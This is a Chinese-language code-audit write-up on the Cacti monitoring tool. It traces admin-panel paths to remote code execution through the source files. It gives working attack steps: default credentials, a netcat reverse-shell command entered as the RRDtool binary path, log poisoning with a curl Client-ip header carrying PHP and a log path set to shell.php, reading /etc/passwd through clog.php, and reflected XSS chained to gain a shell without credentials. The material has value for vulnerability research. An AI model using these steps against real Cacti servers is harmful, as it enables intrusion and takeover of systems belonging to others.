Cacti安装完成后默认口令为admin/cacti
,进入后台后常见的getshell方式有:文件上传绕过,修改配置写入代码到配置文件,修改可执行文件路径进行命令注入,修改日志文件路径写入代码等等。
Cacti的路径设置如图:
看到我们可以设置snmp、php、rrdtool二进制文件的路径和日志文件的路径。并在在clog中可以读取日志文件。
结合后台功能进行代码审计
设置RRDtool Binary Path为nc -e /bin/bash 127.0.0.1 1234 #
,本地监听1234端口,稍等片刻shell就反弹回来了。
此处路径设置的代码在settings.php
,L:33-81
case 'save':
foreach ($settings{get_request_var('tab')} as $field_name => $field_array) {
if (($field_array['method'] == 'header') || ($field_array['method'] == 'spacer' )){
/* do nothing */
} elseif ($field_array['method'] == 'checkbox') {
if (isset_request_var($field_name)) {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, 'on')", array($field_name));
} else {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, '')", array($field_name));
}
} elseif ($field_array['method'] == 'checkbox_group') {
foreach ($field_array['items'] as $sub_field_name => $sub_field_array) {
if (isset_request_var($sub_field_name)) {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, 'on')", array($sub_field_name));
} else {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, '')", array($sub_field_name));
}
}
} elseif ($field_array['method'] == 'textbox_password') {
if (get_nfilter_request_var($field_name) != get_nfilter_request_var($field_name.'_confirm')) {
raise_message(4);
break;
} elseif (!isempty_request_var($field_name)) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
}
} elseif ((isset($field_array['items'])) && (is_array($field_array['items']))) {
foreach ($field_array['items'] as $sub_field_name => $sub_field_array) {
if (isset_request_var($sub_field_name)) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($sub_field_name, get_nfilter_request_var($sub_field_name)));
}
}
} elseif ($field_array['method'] == 'drop_multi') {
if (isset_request_var($field_name)) {
if (is_array(get_nfilter_request_var($field_name))) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, implode(',', get_nfilter_request_var($field_name))));
} else {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
}
} else {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, "")', array($field_name));
}
} elseif (isset_request_var($field_name)) {
if (is_array(get_nfilter_request_var($field_name))) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, implode(',', get_nfilter_request_var($field_name))));
} else {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
}
}
}
根据配置中字段的method值进行了不同的处理,查看配置可以知道字段类型为filepath进入最后一个分支,从get_nfilter_request_var
(无过滤)获取参数后直接写入数据库。此处的路径可控
include/global_settings.php
, L:91-251
$settings = array(
'path' => array(
......
'path_snmpwalk' => array(
'friendly_name' => __('snmpwalk Binary Path'),
'description' => __('The path to your snmpwalk binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmpget' => array(
'friendly_name' => __('snmpget Binary Path'),
'description' => __('The path to your snmpget binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmpbulkwalk' => array(
'friendly_name' => __('snmpbulkwalk Binary Path'),
'description' => __('The path to your snmpbulkwalk binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmpgetnext' => array(
'friendly_name' => __('snmpgetnext Binary Path'),
'description' => __('The path to your snmpgetnext binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmptrap' => array(
'friendly_name' => __('snmptrap Binary Path'),
'description' => __('The path to your snmptrap binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_rrdtool' => array(
'friendly_name' => __('RRDtool Binary Path'),
'description' => __('The path to the rrdtool binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_php_binary' => array(
'friendly_name' => __('PHP Binary Path'),
'description' => __('The path to your PHP binary file (may require a php recompile to get this file).'),
'method' => 'filepath',
'max_length' => '255'
),
'logging_header' => array(
'friendly_name' => __('Logging'),
'collapsible' => 'true',
'method' => 'spacer',
),
'path_cactilog' => array(
'friendly_name' => __('Cacti Log Path'),
'description' => __('The path to your Cacti log file (if blank, defaults to <path_cacti>/log/cacti.log)'),
'method' => 'filepath',
'default' => $config['base_path'] . '/log/cacti.log',
'max_length' => '255'
),
......
),
全局搜索read_config_option('path_rrdtool')
发现在lib/rrd.php
, L:45-71使用该路径拼接进入命令,需要通过rrd_init函数触发
function rrd_init($output_to_term = true) {
global $config;
$args = func_get_args();
$force_storage_location_local = (isset($config['force_storage_location_local']) && $config['force_storage_location_local'] === true ) ? true : false;
$function = ($force_storage_location_local === false && read_config_option('storage_location')) ? '__rrd_proxy_init' : '__rrd_init'; //storage_location默认设置为0 Local
return call_user_func_array($function, $args);
}
function __rrd_init($output_to_term = true) {
global $config;
/* set the rrdtool default font */
if (read_config_option('path_rrdtool_default_font')) {
putenv('RRD_DEFAULT_FONT=' . read_config_option('path_rrdtool_default_font'));
}
if ($output_to_term) {
$command = read_config_option('path_rrdtool') . ' - ';
} elseif ($config['cacti_server_os'] == 'win32') {
$command = read_config_option('path_rrdtool') . ' - > nul';
} else {
$command = read_config_option('path_rrdtool') . ' - > /dev/null 2>&1';
}
return popen($command, 'w');
}
全局搜索rrd_init()
,在poller.php
, L:496-502中调用,由于poller.php每隔一段时间自动执行,触发命令反弹shell
if ($poller_id == 1) { //poller_id默认为1
/* insert the current date/time for graphs */
db_execute("REPLACE INTO settings (name, value) VALUES ('date', NOW())");
/* open a pipe to rrdtool for writing */
$rrdtool_pipe = rrd_init();
}
由于可以自定义日志文件路径,于是将日志文件设置为/var/log/cacti/shell.php,然后将php代码写入日志文件中。
Cacti使用
cacti_log函数将数据写入到日志文件
lib/functions.php` L:527-615
function cacti_log($string, $output = false, $environ = 'CMDPHP', $level = '') {
global $config;
......
/* determine how to log data */
$logdestination = read_config_option('log_destination');//默认为1 Logfile Only
$logfile = read_config_option('path_cactilog');
/* format the message */
if ($environ == 'POLLER') {
$message = "$date - " . $environ . ': Poller[' . $config['poller_id'] . '] ' . $string . "\n";
} else {
$message = "$date - " . $environ . ' ' . $string . "\n";
}
/* Log to Logfile */
if (($logdestination == 1 || $logdestination == 2) && read_config_option('log_verbosity') != POLLER_VERBOSITY_NONE) {
if ($logfile == '') {
$logfile = $config['base_path'] . '/log/cacti.log';
}
/* echo the data to the log (append) */
$fp = @fopen($logfile, 'a');
if ($fp) {
@fwrite($fp, $message);
fclose($fp);
}
}
全局搜索cacti_log(
,在remote_agent.php
,L:38-41, 114-147中有一处可利用
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
......
function remote_client_authorized() {
/* don't allow to run from the command line */
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$client_addr = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['X-Forwarded-For'])) {
$client_addr = $_SERVER['X-Forwarded-For'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$client_addr = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$client_addr = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$client_addr = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$client_addr = $_SERVER['REMOTE_ADDR'];
} else {
return false;
}
$client_name = strip_domain(gethostbyaddr($client_addr));//warning 解析失败返回false
$pollers = db_fetch_assoc('SELECT * FROM poller');
if (sizeof($pollers)) {
foreach($pollers as $poller) {
if (strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
$client_name
和$client_addr
两个变量拼接进入字符串,其中$client_addr
可以从client-ip中获取并且未过滤。在client-ip中设置php代码,访问/remote_agent.php后可将其写入日志文件中
curl -H "Client-ip: <?php phpinfo();?>" 'http://localhost/cacti/remote_agent.php'
在clog中可以查看系统日志。
clog.php
中调用clog_view_logfile
方法查看日志 lib/clog_webapi.php
,L:76-196
function clog_view_logfile() {
global $config;
$clogAdmin = clog_admin();
$logfile = read_config_option('path_cactilog');
if (isset_request_var('filename')) {
$requestedFile = dirname($logfile) . '/' . basename(get_nfilter_request_var('filename'));
if (file_exists($requestedFile)) {
$logfile = $requestedFile;
}
} elseif ($logfile == '') {
$logfile = $config['base_path'] . '/log/cacti.log';
}
......
$logcontents = tail_file($logfile, $number_of_lines, get_request_var('message_type'), get_request_var('rfilter'), $page_nr, $total_rows); //tail_file - Emulates the tail function with PHP native functions
}
dirname($logfile) . '/' . basename(get_nfilter_request_var('filename'))
,由于path_cactilog
和filename
都可控,可以任意设置要读取的文件。例如:将path_cactilog
设置为/etc/tmp.log
,访问http://localhost/cacti/clog.php?rfilter=&reverse=1&refresh=60&message_type=-1&tail_lines=500&filename=passwd&可读取/etc/passwd
在include/auth.php
, L:81-172中判断用户是否登录,未登录用户加载auth_login.php进行登录,已登录用户显示后台界面
if (empty($_SESSION['sess_user_id'])) {
include($config['base_path'] . '/auth_login.php');
exit;
} elseif (!empty($_SESSION['sess_user_id'])) {
...
include_once('./include/global_session.php');
...
}
在auth_login.php
, L:576,683 读取当前页面路径拼接进入action
<form name='login' method='post' action='<?php print get_current_page();?>'>
......
<?php include_once('./include/global_session.php');?>
lib/function.php
, L:2889-2913 PHP_SELF返回当前执行脚本的文件名,但在pathinfo模式下PHP_SELF会返回从文件名到query_string之前的部分。由于pathinfo中的单引号不会被转义,可以在form中构造反射型xss,但这样只会影响未登录用户。
function get_current_page($basename = true) {
if (isset($_SERVER['PHP_SELF']) && $_SERVER['PHP_SELF'] != '') {
if ($basename) {
return basename($_SERVER['PHP_SELF']);
} else {
return $_SERVER['PHP_SELF'];
}
} elseif(){
......
}
return false;
}
include/global_session.php
, L:91 获取REQUEST_URL过滤html标签过来非url字符后作为js参数拼接进入字符串。同理配合pathinfo模式引入单引号构造反射型xss,同时影响登录用户和未登录用户。
var requestURI='<?php print filter_var(strip_tags($_SERVER['REQUEST_URI']), FILTER_SANITIZE_URL);?>';
前面的两处RCE都需要管理员身份来触发,当我们没有口令登录后台时,可以配合反射型xss来getshell